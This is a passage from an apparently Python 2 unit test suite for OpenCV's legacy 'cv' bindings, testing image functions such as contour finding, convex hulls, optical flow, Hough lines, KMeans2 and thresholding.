cv.CreateImage((100,100), 8, 1)\r\n            cv.SetZero(scratch)\r\n            cv.Circle(scratch, (50,50), r, 255, -1)\r\n            storage = cv.CreateMemStorage()\r\n            seq = cv.FindContours(scratch, storage, cv.CV_RETR_TREE, cv.CV_CHAIN_APPROX_SIMPLE)\r\n            arr = cv.CreateMat(len(seq), 3, cv.CV_32FC1)\r\n            for i,e in enumerate(seq):\r\n                arr[i,0] = 1\r\n                arr[i,1] = e[0]\r\n                arr[i,2] = e[1]\r\n            cc[r] = arr\r\n        def myL1(A, B, D):\r\n            return abs(A[0]-B[0]) + abs(A[1]-B[1])\r\n        def myL2(A, B, D):\r\n            return math.sqrt((A[0]-B[0])**2 + (A[1]-B[1])**2)\r\n        def myC(A, B, D):\r\n            return max(abs(A[0]-B[0]), abs(A[1]-B[1]))\r\n        contours = set(cc.values())\r\n        for c0 in contours:\r\n            for c1 in contours:\r\n                self.assert_(abs(cv.CalcEMD2(c0, c1, cv.CV_DIST_L1) - cv.CalcEMD2(c0, c1, cv.CV_DIST_USER, myL1)) < 1e-3)\r\n                self.assert_(abs(cv.CalcEMD2(c0, c1, cv.CV_DIST_L2) - cv.CalcEMD2(c0, c1, cv.CV_DIST_USER, myL2)) < 1e-3)\r\n                self.assert_(abs(cv.CalcEMD2(c0, c1, cv.CV_DIST_C) - cv.CalcEMD2(c0, c1, cv.CV_DIST_USER, myC)) < 1e-3)\r\n\r\n    def test_CalcOpticalFlowBM(self):\r\n        a = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        b = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        (w,h) = cv.GetSize(a)\r\n        vel_size = (w - 8 + 1, h - 8 + 1)\r\n        velx = cv.CreateImage(vel_size, cv.IPL_DEPTH_32F, 1)\r\n        vely = cv.CreateImage(vel_size, cv.IPL_DEPTH_32F, 1)\r\n        cv.CalcOpticalFlowBM(a, b, (8,8), (1,1), (8,8), 0, velx, vely)\r\n\r\n    def test_CalcOpticalFlowPyrLK(self):\r\n        a = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        map = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n        cv.GetRotationMatrix2D((256, 256), 10, 1.0, map)\r\n        b = cv.CloneMat(a)\r\n        cv.WarpAffine(a, b, map)\r\n\r\n        eig_image = cv.CreateMat(a.rows, a.cols, cv.CV_32FC1)\r\n        temp_image = cv.CreateMat(a.rows, a.cols, cv.CV_32FC1)\r\n\r\n        prevPyr = cv.CreateMat(a.rows / 3, a.cols + 8, cv.CV_8UC1)\r\n        currPyr = cv.CreateMat(a.rows / 3, a.cols + 8, cv.CV_8UC1)\r\n        prevFeatures = cv.GoodFeaturesToTrack(a, eig_image, temp_image, 400, 0.01, 0.01)\r\n        (currFeatures, status, track_error) = cv.CalcOpticalFlowPyrLK(a,\r\n                                                                      b,\r\n                                                                      prevPyr,\r\n                                                                      currPyr,\r\n                                                                      prevFeatures,\r\n                                                                      (10, 10),\r\n                                                                      3,\r\n                                                                      (cv.CV_TERMCRIT_ITER|cv.CV_TERMCRIT_EPS,20, 0.03),\r\n                                                                      0)\r\n        if 0:  # enable visualization\r\n            print\r\n            print sum(status), \"Points found in curr image\"\r\n            for prev,this in zip(prevFeatures, currFeatures):\r\n                iprev = tuple([int(c) for c in prev])\r\n                ithis = tuple([int(c) for c in this])\r\n                cv.Circle(a, iprev, 3, 255)\r\n                cv.Circle(a, ithis, 3, 0)\r\n                cv.Line(a, iprev, ithis, 128)\r\n\r\n            self.snapL([a, b])\r\n\r\n    def test_CartToPolar(self):\r\n        x = cv.CreateMat(5, 5, cv.CV_32F)\r\n        y = cv.CreateMat(5, 5, cv.CV_32F)\r\n        mag = cv.CreateMat(5, 5, cv.CV_32F)\r\n        angle = cv.CreateMat(5, 5, cv.CV_32F)\r\n        x2 = cv.CreateMat(5, 5, cv.CV_32F)\r\n        y2 = cv.CreateMat(5, 5, cv.CV_32F)\r\n\r\n        for i in range(5):\r\n            for j in range(5):\r\n                x[i, j] = i\r\n                y[i, j] = j\r\n\r\n        for in_degrees in [False, True]:\r\n            cv.CartToPolar(x, y, mag, angle, in_degrees)\r\n            cv.PolarToCart(mag, angle, x2, y2, in_degrees)\r\n            for i in range(5):\r\n                for j in range(5):\r\n                    self.assertAlmostEqual(x[i, j], x2[i, j], 1)\r\n                    self.assertAlmostEqual(y[i, j], y2[i, j], 1)\r\n\r\n    def test_Circle(self):\r\n        for w,h in [(2,77), (77,2), (256, 256), (640,480)]:\r\n            img = cv.CreateImage((w,h), cv.IPL_DEPTH_8U, 1)\r\n            cv.SetZero(img)\r\n            tricky = [ -8000, -2, -1, 0, 1, h/2, h-1, h, h+1, w/2, w-1, w, w+1, 8000]\r\n            for x0 in tricky:\r\n                for y0 in tricky:\r\n                    for r in [ 0, 1, 2, 3, 4, 5, w/2, w-1, w, w+1, h/2, h-1, h, h+1, 8000 ]:\r\n                        for thick in [1, 2, 10]:\r\n                            for t in [0, 8, 4, cv.CV_AA]:\r\n                                cv.Circle(img, (x0,y0), r, 255, thick, t)\r\n        # just check that something was drawn\r\n        self.assert_(cv.Sum(img)[0] > 0)\r\n\r\n    def test_ConvertImage(self):\r\n        i1 = cv.GetImage(self.get_sample(\"samples/c/lena.jpg\", 1))\r\n        i2 = cv.CloneImage(i1)\r\n        i3 = cv.CloneImage(i1)\r\n        cv.ConvertImage(i1, i2, cv.CV_CVTIMG_FLIP + cv.CV_CVTIMG_SWAP_RB)\r\n        self.assertNotEqual(self.hashimg(i1), self.hashimg(i2))\r\n        cv.ConvertImage(i2, i3, cv.CV_CVTIMG_FLIP + cv.CV_CVTIMG_SWAP_RB)\r\n        self.assertEqual(self.hashimg(i1), self.hashimg(i3))\r\n\r\n    def test_ConvexHull2(self):\r\n        # Draw a series of N-pointed stars, find contours, assert the contour is not convex,\r\n        # assert the hull has N segments, assert that there are N convexity defects.\r\n\r\n        def polar2xy(th, r):\r\n            return (int(400 + r * math.cos(th)), int(400 + r * math.sin(th)))\r\n        storage = cv.CreateMemStorage(0)\r\n        for way in ['CvSeq', 'CvMat', 'list']:\r\n            for points in range(3,20):\r\n                scratch = cv.CreateImage((800,800), 8, 1)\r\n                cv.SetZero(scratch)\r\n                sides = 2 * points\r\n                cv.FillPoly(scratch, [ [ polar2xy(i * 2 * math.pi / sides, [100,350][i&1]) for i in range(sides) ] ], 255)\r\n\r\n                seq = cv.FindContours(scratch, storage, cv.CV_RETR_TREE, cv.CV_CHAIN_APPROX_SIMPLE)\r\n\r\n                if way == 'CvSeq':\r\n                    # pts is a CvSeq\r\n                    pts = seq\r\n                elif way == 'CvMat':\r\n                    # pts is a CvMat\r\n                    arr = cv.CreateMat(len(seq), 1, cv.CV_32SC2)\r\n                    for i,e in enumerate(seq):\r\n                        arr[i,0] = e\r\n                    pts = arr\r\n                elif way == 'list':\r\n                    # pts is a list of 2-tuples\r\n                    pts = list(seq)\r\n                else:\r\n                    assert False\r\n\r\n                self.assert_(cv.CheckContourConvexity(pts) == 0)\r\n                hull = cv.ConvexHull2(pts, storage, return_points = 1)\r\n                self.assert_(cv.CheckContourConvexity(hull) == 1)\r\n                self.assert_(len(hull) == points)\r\n\r\n                if way in [ 'CvSeq', 'CvMat' ]:\r\n                    defects = cv.ConvexityDefects(pts, cv.ConvexHull2(pts, storage), storage)\r\n                    self.assert_(len([depth for (_,_,_,depth) in defects if (depth > 5)]) == points)\r\n\r\n    def test_CreateImage(self):\r\n        for w in [ 1, 4, 64, 512, 640]:\r\n            for h in [ 1, 4, 64, 480, 512]:\r\n                for c in [1, 2, 3, 4]:\r\n                    for d in self.depths:\r\n                        a = cv.CreateImage((w,h), d, c);\r\n                        self.assert_(a.width == w)\r\n                        self.assert_(a.height == h)\r\n                        self.assert_(a.nChannels == c)\r\n                        self.assert_(a.depth == d)\r\n                        self.assert_(cv.GetSize(a) == (w, h))\r\n                        # self.assert_(cv.GetElemType(a) == d)\r\n        self.assertRaises(cv.error, lambda: cv.CreateImage((100, 100), 9, 1))\r\n\r\n    def test_CreateMat(self):\r\n        for rows in [1, 2, 4, 16, 64, 512, 640]:\r\n            for cols in [1, 2, 4, 16, 64, 512, 640]:\r\n                for t in self.mat_types:\r\n                    m = cv.CreateMat(rows, cols, t)\r\n                    self.assertEqual(cv.GetElemType(m), t)\r\n                    self.assertEqual(m.type, t)\r\n        self.assertRaises(cv.error, lambda: cv.CreateMat(-1, 100, cv.CV_8SC4))\r\n        self.assertRaises(cv.error, lambda: cv.CreateMat(100, -1, cv.CV_8SC4))\r\n        self.assertRaises(cv.error, lambda: cv.cvmat())\r\n\r\n    def test_DrawChessboardCorners(self):\r\n        im = cv.CreateImage((512,512), cv.IPL_DEPTH_8U, 3)\r\n        cv.SetZero(im)\r\n        cv.DrawChessboardCorners(im, (5, 5), [ ((i/5)*100+50,(i%5)*100+50) for i in range(5 * 5) ], 1)\r\n\r\n    def test_FillPoly(self):\r\n        scribble = cv.CreateImage((640,480), cv.IPL_DEPTH_8U, 1)\r\n        random.seed(0)\r\n        for i in range(50):\r\n            cv.SetZero(scribble)\r\n            self.assert_(cv.CountNonZero(scribble) == 0)\r\n            cv.FillPoly(scribble, [ [ (random.randrange(640), random.randrange(480)) for i in range(100) ] ], (255,))\r\n            self.assert_(cv.CountNonZero(scribble) != 0)\r\n\r\n    def test_FindChessboardCorners(self):\r\n        im = cv.CreateImage((512,512), cv.IPL_DEPTH_8U, 1)\r\n        cv.Set(im, 128)\r\n\r\n        # Empty image run\r\n        status,corners = cv.FindChessboardCorners( im, (7,7) )\r\n\r\n        # Perfect checkerboard\r\n        def xf(i,j, o):\r\n            return ((96 + o) + 40 * i, (96 + o) + 40 * j)\r\n        for i in range(8):\r\n            for j in range(8):\r\n                color = ((i ^ j) & 1) * 255\r\n                cv.Rectangle(im, xf(i,j, 0), xf(i,j, 39), color, cv.CV_FILLED)\r\n        status,corners = cv.FindChessboardCorners( im, (7,7) )\r\n        self.assert_(status)\r\n        self.assert_(len(corners) == (7 * 7))\r\n\r\n        # Exercise corner display\r\n        im3 = cv.CreateImage(cv.GetSize(im), cv.IPL_DEPTH_8U, 3)\r\n        cv.Merge(im, im, im, None, im3)\r\n        cv.DrawChessboardCorners(im3, (7,7), corners, status)\r\n\r\n        if 0:\r\n            self.snap(im3)\r\n\r\n        # Run it with too many corners\r\n        cv.Set(im, 128)\r\n        for i in range(40):\r\n            for j in range(40):\r\n                color = ((i ^ j) & 1) * 255\r\n                x = 30 + 6 * i\r\n                y = 30 + 4 * j\r\n                cv.Rectangle(im, (x, y), (x+4, y+4), color, cv.CV_FILLED)\r\n        status,corners = cv.FindChessboardCorners( im, (7,7) )\r\n\r\n        # XXX - this is very slow\r\n        if 0:\r\n            rng = cv.RNG(0)\r\n            cv.RandArr(rng, im, cv.CV_RAND_UNI, 0, 255.0)\r\n            self.snap(im)\r\n            status,corners = cv.FindChessboardCorners( im, (7,7) )\r\n\r\n    def test_FindContours(self):\r\n        random.seed(0)\r\n\r\n        storage = cv.CreateMemStorage()\r\n\r\n        # First run FindContours on a black image.\r\n        for mode in [cv.CV_RETR_EXTERNAL, cv.CV_RETR_LIST, cv.CV_RETR_CCOMP, cv.CV_RETR_TREE]:\r\n            for method in [cv.CV_CHAIN_CODE, cv.CV_CHAIN_APPROX_NONE, cv.CV_CHAIN_APPROX_SIMPLE, cv.CV_CHAIN_APPROX_TC89_L1, cv.CV_CHAIN_APPROX_TC89_KCOS, cv.CV_LINK_RUNS]:\r\n                scratch = cv.CreateImage((800,800), 8, 1)\r\n                cv.SetZero(scratch)\r\n                seq = cv.FindContours(scratch, storage, mode, method)\r\n                x = len(seq)\r\n                if seq:\r\n                    pass\r\n                for s in seq:\r\n                    pass\r\n\r\n        for trial in range(10):\r\n            scratch = cv.CreateImage((800,800), 8, 1)\r\n            cv.SetZero(scratch)\r\n            def plot(center, radius, mode):\r\n                cv.Circle(scratch, center, radius, mode, -1)\r\n                if radius < 20:\r\n                    return 0\r\n                else:\r\n                    newmode = 255 - mode\r\n                    subs = random.choice([1,2,3])\r\n                    if subs == 1:\r\n                        return [ plot(center, radius - 5, newmode) ]\r\n                    else:\r\n                        newradius = int({ 2: radius / 2, 3: radius / 2.3 }[subs] - 5)\r\n                        r = radius / 2\r\n                        ret = []\r\n                        for i in range(subs):\r\n                            th = i * (2 * math.pi) / subs\r\n                            ret.append(plot((int(center[0] + r * math.cos(th)), int(center[1] + r * math.sin(th))), newradius, newmode))\r\n                        return sorted(ret)\r\n\r\n            actual = plot((400,400), 390, 255 )\r\n\r\n            seq = cv.FindContours(scratch, storage, cv.CV_RETR_TREE, cv.CV_CHAIN_APPROX_SIMPLE)\r\n\r\n            def traverse(s):\r\n                if s == None:\r\n                    return 0\r\n                else:\r\n                    self.assert_(abs(cv.ContourArea(s)) > 0.0)\r\n                    ((x,y),(w,h),th) = cv.MinAreaRect2(s, cv.CreateMemStorage())\r\n                    self.assert_(((w / h) - 1.0) < 0.01)\r\n                    self.assert_(abs(cv.ContourArea(s)) > 0.0)\r\n                    r = []\r\n                    while s:\r\n                        r.append(traverse(s.v_next()))\r\n                        s = s.h_next()\r\n                    return sorted(r)\r\n            self.assert_(traverse(seq.v_next()) == actual)\r\n\r\n        if 1:\r\n            original = cv.CreateImage((800,800), 8, 1)\r\n            cv.SetZero(original)\r\n            cv.Circle(original, (400, 400), 200, 255, -1)\r\n            cv.Circle(original, (100, 100), 20, 255, -1)\r\n        else:\r\n            original = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n            cv.Threshold(original, original, 128, 255, cv.CV_THRESH_BINARY);\r\n\r\n        contours = cv.FindContours(original, storage, cv.CV_RETR_CCOMP, cv.CV_CHAIN_APPROX_SIMPLE)\r\n\r\n\r\n        def contour_iterator(contour):\r\n            while contour:\r\n                yield contour\r\n                contour = contour.h_next()\r\n\r\n        # Should be 2 contours from the two circles above\r\n        self.assertEqual(len(list(contour_iterator(contours))), 2)\r\n\r\n        # Smoke DrawContours\r\n        sketch = cv.CreateImage(cv.GetSize(original), 8, 3)\r\n        cv.SetZero(sketch)\r\n        red = cv.RGB(255, 0, 0)\r\n        green = cv.RGB(0, 255, 0)\r\n        for c in contour_iterator(contours):\r\n            cv.DrawContours(sketch, c, red, green, 0)\r\n        # self.snap(sketch)\r\n\r\n    def test_GetAffineTransform(self):\r\n        mapping = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n        cv.GetAffineTransform([ (0,0), (1,0), (0,1) ], [ (0,0), (17,0), (0,17) ], mapping)\r\n        self.assertAlmostEqual(mapping[0,0], 17, 2)\r\n        self.assertAlmostEqual(mapping[1,1], 17, 2)\r\n\r\n    def test_GetRotationMatrix2D(self):\r\n        mapping = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n        for scale in [0.0, 1.0, 2.0]:\r\n            for angle in [0.0, 360.0]:\r\n                cv.GetRotationMatrix2D((0,0), angle, scale, mapping)\r\n                for r in [0, 1]:\r\n                    for c in [0, 1, 2]:\r\n                        if r == c:\r\n                            e = scale\r\n                        else:\r\n                            e = 0.0\r\n                        self.assertAlmostEqual(mapping[r, c], e, 2)\r\n\r\n    def test_GetSize(self):\r\n        self.assert_(cv.GetSize(cv.CreateMat(5, 7, cv.CV_32FC1)) == (7,5))\r\n        self.assert_(cv.GetSize(cv.CreateImage((7,5), cv.IPL_DEPTH_8U, 1)) == (7,5))\r\n\r\n    def test_GetStarKeypoints(self):\r\n        src = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        storage = cv.CreateMemStorage()\r\n        kp = cv.GetStarKeypoints(src, storage)\r\n        self.assert_(len(kp) > 0)\r\n        for (x,y),scale,r in kp:\r\n            self.assert_(0 <= x)\r\n            self.assert_(x <= cv.GetSize(src)[0])\r\n            self.assert_(0 <= y)\r\n            self.assert_(y <= cv.GetSize(src)[1])\r\n        return\r\n        scribble = cv.CreateImage(cv.GetSize(src), 8, 3)\r\n        cv.CvtColor(src, scribble, cv.CV_GRAY2BGR)\r\n        for (x,y),scale,r in kp:\r\n            print x,y,scale,r\r\n            cv.Circle(scribble, (x,y), scale, cv.RGB(255,0,0))\r\n        self.snap(scribble)\r\n\r\n    def test_GetSubRect(self):\r\n        src = cv.CreateImage((100,100), 8, 1)\r\n        data = \"z\" * (100 * 100)\r\n\r\n        cv.SetData(src, data, 100)\r\n        start_count = sys.getrefcount(data)\r\n\r\n        iter = 77\r\n        subs = []\r\n        for i in range(iter):\r\n            sub = cv.GetSubRect(src, (0, 0, 10, 10))\r\n            subs.append(sub)\r\n        self.assert_(sys.getrefcount(data) == (start_count + iter))\r\n\r\n        src = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        made = cv.CreateImage(cv.GetSize(src), 8, 1)\r\n        sub = cv.CreateMat(32, 32, cv.CV_8UC1)\r\n        for x in range(0, 512, 32):\r\n            for y in range(0, 512, 32):\r\n                sub = cv.GetSubRect(src, (x, y, 32, 32))\r\n                cv.SetImageROI(made, (x, y, 32, 32))\r\n                cv.Copy(sub, made)\r\n        cv.ResetImageROI(made)\r\n        cv.AbsDiff(made, src, made)\r\n        self.assert_(cv.CountNonZero(made) == 0)\r\n\r\n        for m1 in [cv.CreateMat(1, 10, cv.CV_8UC1), cv.CreateImage((10, 1), 8, 1)]:\r\n            for i in range(10):\r\n                m1[0, i] = i\r\n            def aslist(cvmat): return list(array.array('B', cvmat.tostring()))\r\n            m2 = cv.GetSubRect(m1, (5, 0, 4, 1))\r\n            m3 = cv.GetSubRect(m2, (1, 0, 2, 1))\r\n            self.assertEqual(aslist(m1), range(10))\r\n            self.assertEqual(aslist(m2), range(5, 9))\r\n            self.assertEqual(aslist(m3), range(6, 8))\r\n\r\n    def xtest_grabCut(self):\r\n        image = self.get_sample(\"samples/c/lena.jpg\", cv.CV_LOAD_IMAGE_COLOR)\r\n        tmp1 = cv.CreateMat(1, 13 * 5, cv.CV_32FC1)\r\n        tmp2 = cv.CreateMat(1, 13 * 5, cv.CV_32FC1)\r\n        mask = cv.CreateMat(image.rows, image.cols, cv.CV_8UC1)\r\n        cv.GrabCut(image, mask, (10,10,200,200), tmp1, tmp2, 10, cv.GC_INIT_WITH_RECT)\r\n\r\n    def test_HoughLines2_PROBABILISTIC(self):\r\n        li = cv.HoughLines2(self.yield_line_image(),\r\n                                                cv.CreateMemStorage(),\r\n                                                cv.CV_HOUGH_PROBABILISTIC,\r\n                                                1,\r\n                                                math.pi/180,\r\n                                                50,\r\n                                                50,\r\n                                                10)\r\n        self.assert_(len(li) > 0)\r\n        self.assert_(li[0] != None)\r\n\r\n    def test_HoughLines2_STANDARD(self):\r\n        li = cv.HoughLines2(self.yield_line_image(),\r\n                                                cv.CreateMemStorage(),\r\n                                                cv.CV_HOUGH_STANDARD,\r\n                                                1,\r\n                                                math.pi/180,\r\n                                                100,\r\n                                                0,\r\n                                                0)\r\n        self.assert_(len(li) > 0)\r\n        self.assert_(li[0] != None)\r\n\r\n    def test_InPaint(self):\r\n        src = self.get_sample(\"samples/cpp/building.jpg\")\r\n        msk = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_8U, 1)\r\n        damaged = cv.CloneMat(src)\r\n        repaired = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_8U, 3)\r\n        difference = cv.CloneImage(repaired)\r\n        cv.SetZero(msk)\r\n        for method in [ cv.CV_INPAINT_NS, cv.CV_INPAINT_TELEA ]:\r\n            for (p0,p1) in [ ((10,10), (400,400)) ]:\r\n                cv.Line(damaged, p0, p1, cv.RGB(255, 0, 255), 2)\r\n                cv.Line(msk, p0, p1, 255, 2)\r\n            cv.Inpaint(damaged, msk, repaired, 10., cv.CV_INPAINT_NS)\r\n        cv.AbsDiff(src, repaired, difference)\r\n        #self.snapL([src, damaged, repaired, difference])\r\n\r\n    def test_InitLineIterator(self):\r\n        scribble = cv.CreateImage((640,480), cv.IPL_DEPTH_8U, 1)\r\n        self.assert_(len(list(cv.InitLineIterator(scribble, (20,10), (30,10)))) == 11)\r\n\r\n    def test_InRange(self):\r\n\r\n        sz = (256,256)\r\n        Igray1 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n        Ilow1 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n        Ihi1 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n        Igray2 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n        Ilow2 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n        Ihi2 = cv.CreateImage(sz,cv.IPL_DEPTH_32F,1)\r\n\r\n        Imask = cv.CreateImage(sz, cv.IPL_DEPTH_8U,1)\r\n        Imaskt = cv.CreateImage(sz,cv.IPL_DEPTH_8U,1)\r\n\r\n        cv.InRange(Igray1, Ilow1, Ihi1, Imask);\r\n        cv.InRange(Igray2, Ilow2, Ihi2, Imaskt);\r\n\r\n        cv.Or(Imask, Imaskt, Imask);\r\n\r\n    def test_Line(self):\r\n        w,h = 640,480\r\n        img = cv.CreateImage((w,h), cv.IPL_DEPTH_8U, 1)\r\n        cv.SetZero(img)\r\n        tricky = [ -8000, -2, -1, 0, 1, h/2, h-1, h, h+1, w/2, w-1, w, w+1, 8000]\r\n        for x0 in tricky:\r\n            for y0 in tricky:\r\n                for x1 in tricky:\r\n                    for y1 in tricky:\r\n                        for thickness in [ 0, 1, 8 ]:\r\n                            for line_type in [0, 4, 8, cv.CV_AA ]:\r\n                                cv.Line(img, (x0,y0), (x1,y1), 255, thickness, line_type)\r\n        # just check that something was drawn\r\n        self.assert_(cv.Sum(img)[0] > 0)\r\n\r\n    def test_MinMaxLoc(self):\r\n        scribble = cv.CreateImage((640,480), cv.IPL_DEPTH_8U, 1)\r\n        los = [ (random.randrange(480), random.randrange(640)) for i in range(100) ]\r\n        his = [ (random.randrange(480), random.randrange(640)) for i in range(100) ]\r\n        for (lo,hi) in zip(los,his):\r\n            cv.Set(scribble, 128)\r\n            scribble[lo] = 0\r\n            scribble[hi] = 255\r\n            r = cv.MinMaxLoc(scribble)\r\n            self.assert_(r == (0, 255, tuple(reversed(lo)), tuple(reversed(hi))))\r\n\r\n    def xxx_test_PyrMeanShiftFiltering(self):   # XXX - ticket #306\r\n        if 0:\r\n            src = self.get_sample(\"samples/c/lena.jpg\", cv.CV_LOAD_IMAGE_COLOR)\r\n            dst = cv.CloneMat(src)\r\n            cv.PyrMeanShiftFiltering(src, dst, 5, 5)\r\n            print src, dst\r\n            self.snap(src)\r\n        else:\r\n            r = cv.temp_test()\r\n            print r\r\n            print len(r.tostring())\r\n            self.snap(r)\r\n\r\n    def test_Reshape(self):\r\n        # 97 rows\r\n        # 12 cols\r\n        rows = 97\r\n        cols = 12\r\n        im = cv.CreateMat( rows, cols, cv.CV_32FC1 )\r\n        elems = rows * cols * 1\r\n        def crd(im):\r\n            return cv.GetSize(im) + (cv.CV_MAT_CN(cv.GetElemType(im)),)\r\n\r\n        for c in (1, 2, 3, 4):\r\n            nc,nr,nd = crd(cv.Reshape(im, c))\r\n            self.assert_(nd == c)\r\n            self.assert_((nc * nr * nd) == elems)\r\n\r\n        nc,nr,nd = crd(cv.Reshape(im, 0, 97*2))\r\n        self.assert_(nr == 97*2)\r\n        self.assert_((nc * nr * nd) == elems)\r\n\r\n        nc,nr,nd = crd(cv.Reshape(im, 3, 97*2))\r\n        self.assert_(nr == 97*2)\r\n        self.assert_(nd == 3)\r\n        self.assert_((nc * nr * nd) == elems)\r\n\r\n        # Now test ReshapeMatND\r\n        mat = cv.CreateMatND([24], cv.CV_32FC1)\r\n        cv.Set(mat, 1.0)\r\n        self.assertEqual(cv.GetDims(cv.ReshapeMatND(mat, 0, [24, 1])), (24, 1))\r\n        self.assertEqual(cv.GetDims(cv.ReshapeMatND(mat, 0, [6, 4])), (6, 4))\r\n        self.assertEqual(cv.GetDims(cv.ReshapeMatND(mat, 24, [1])), (1,))\r\n        self.assertRaises(TypeError, lambda: cv.ReshapeMatND(mat, 12, [1]))\r\n\r\n    def test_Save(self):\r\n        for o in [ cv.CreateImage((128,128), cv.IPL_DEPTH_8U, 1), cv.CreateMat(16, 16, cv.CV_32FC1), cv.CreateMatND([7,9,4], cv.CV_32FC1) ]:\r\n            cv.Save(\"test.save\", o)\r\n            loaded = cv.Load(\"test.save\", cv.CreateMemStorage())\r\n            self.assert_(type(o) == type(loaded))\r\n\r\n    def test_SetIdentity(self):\r\n        for r in range(1,16):\r\n            for c in range(1, 16):\r\n                for t in self.mat_types_single:\r\n                    M = cv.CreateMat(r, c, t)\r\n                    cv.SetIdentity(M)\r\n                    for rj in range(r):\r\n                        for cj in range(c):\r\n                            if rj == cj:\r\n                                expected = 1.0\r\n                            else:\r\n                                expected = 0.0\r\n                            self.assertEqual(M[rj,cj], expected)\r\n\r\n    def test_SnakeImage(self):\r\n        src = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        pts = [ (512-i,i) for i in range(0, 512, 8) ]\r\n\r\n        # Make sure that weight arguments get validated\r\n        self.assertRaises(TypeError, lambda: cv.SnakeImage(cv.GetImage(src), pts, [1,2], .01, .01, (7,7), (cv.CV_TERMCRIT_ITER, 100, 0.1)))\r\n\r\n        # Smoke by making sure that points are changed by call\r\n        r = cv.SnakeImage(cv.GetImage(src), pts, .01, .01, .01, (7,7), (cv.CV_TERMCRIT_ITER, 100, 0.1))\r\n        if 0:\r\n            cv.PolyLine(src, [ r ], 0, 255)\r\n            self.snap(src)\r\n        self.assertEqual(len(r), len(pts))\r\n        self.assertNotEqual(r, pts)\r\n\r\n        # Ensure that list of weights is same as scalar weight\r\n        w = [.01] * len(pts)\r\n        r2 = cv.SnakeImage(cv.GetImage(src), pts, w, w, w, (7,7), (cv.CV_TERMCRIT_ITER, 100, 0.1))\r\n        self.assertEqual(r, r2)\r\n\r\n    def test_KMeans2(self):\r\n        size = 500\r\n        samples = cv.CreateMat(size, 1, cv.CV_32FC3)\r\n        labels = cv.CreateMat(size, 1, cv.CV_32SC1)\r\n        centers = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n\r\n        cv.Zero(samples)\r\n        cv.Zero(labels)\r\n        cv.Zero(centers)\r\n\r\n        cv.Set(cv.GetSubRect(samples, (0, 0, 1, size/2)), (255, 255, 255))\r\n\r\n        compact = cv.KMeans2(samples, 2, labels, (cv.CV_TERMCRIT_ITER, 100, 0.1), 1, 0, centers)\r\n\r\n        self.assertEqual(int(compact), 0)\r\n\r\n        random.seed(0)\r\n        for i in range(50):\r\n            index = random.randrange(size)\r\n            if index < size/2:\r\n                self.assertEqual(samples[index, 0], (255, 255, 255))\r\n                self.assertEqual(labels[index, 0], 1)\r\n            else:\r\n                self.assertEqual(samples[index, 0], (0, 0, 0))\r\n                self.assertEqual(labels[index, 0], 0)\r\n\r\n        for cluster in (0, 1):\r\n            for channel in (0, 1, 2):\r\n                self.assertEqual(int(centers[cluster, channel]), cluster*255)\r\n\r\n    def test_Sum(self):\r\n        for r in range(1,11):\r\n            for c in range(1, 11):\r\n                for t in self.mat_types_single:\r\n                    M = cv.CreateMat(r, c, t)\r\n                    cv.Set(M, 1)\r\n                    self.assertEqual(cv.Sum(M)[0], r * c)\r\n\r\n    def test_Threshold(self):\r\n    #\"\"\" directed test for bug 2790622 \"\"\"\r\n        src = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        results = set()\r\n        for i in range(10):\r\n            dst = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_8U, 1)\r\n            cv.Threshold(src, dst, 128, 128, cv.CV_THRESH_BINARY)\r\n            results.add(dst.tostring())\r\n        # Should have produced the same answer every time, so results set should have size 1\r\n        self.assert_(len(results) == 1)\r\n\r\n        # ticket #71 repro attempt\r\n        image = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        red = cv.CreateImage(cv.GetSize(image), 8, 1)\r\n        binary = cv.CreateImage(cv.GetSize(image), 8, 1)\r\n        cv.Split(image, red, None, None, None)\r\n        cv.Threshold(red, binary, 42, 255, cv.CV_THRESH_BINARY)\r\n\r\n    ##############################################################################\r\n\r\n    def yield_line_image(self):\r\n        \"\"\" Needed by HoughLines tests \"\"\"\r\n        src = self.get_sample(\"samples/cpp/building.jpg\", 0)\r\n        dst = cv.CreateImage(cv.GetSize(src), 8, 1)\r\n        cv.Canny(src, dst, 50, 200, 3)\r\n        return dst\r\n\r\n# Tests for functional areas\r\n\r\nclass AreaTests(OpenCVTests):\r\n\r\n    def test_numpy(self):\r\n        if 'fromarray' in dir(cv):\r\n            import numpy\r\n\r\n            def convert(numpydims):\r\n                \"\"\" Create a numpy array with specified dims, return the OpenCV CvMat \"\"\"\r\n                a1 = numpy.array([1] * reduce(operator.__mul__, numpydims)).reshape(*numpydims).astype(numpy.float32)\r\n                return cv.fromarray(a1)\r\n            def row_col_chan(m):\r\n                col = m.cols\r\n                row = m.rows\r\n                chan = cv.CV_MAT_CN(cv.GetElemType(m))\r\n                return (row, col, chan)\r\n\r\n            self.assertEqual(row_col_chan(convert((2, 13))), (2, 13, 1))\r\n            self.assertEqual(row_col_chan(convert((2, 13, 4))), (2, 13, 4))\r\n            self.assertEqual(row_col_chan(convert((2, 13, cv.CV_CN_MAX))), (2, 13, cv.CV_CN_MAX))\r\n            self.assertRaises(TypeError, lambda: convert((2,)))\r\n            self.assertRaises(TypeError, lambda: convert((11, 17, cv.CV_CN_MAX + 1)))\r\n\r\n            for t in [cv.CV_16UC1, cv.CV_32SC1, cv.CV_32FC1]:\r\n                for d in [ (8,), (1,7), (2,3,4), (7,9,2,1,8), (1,2,3,4,5,6,7,8) ]:\r\n                    total = reduce(operator.__mul__, d)\r\n                    m = cv.CreateMatND(d, t)\r\n                    for i in range(total):\r\n                        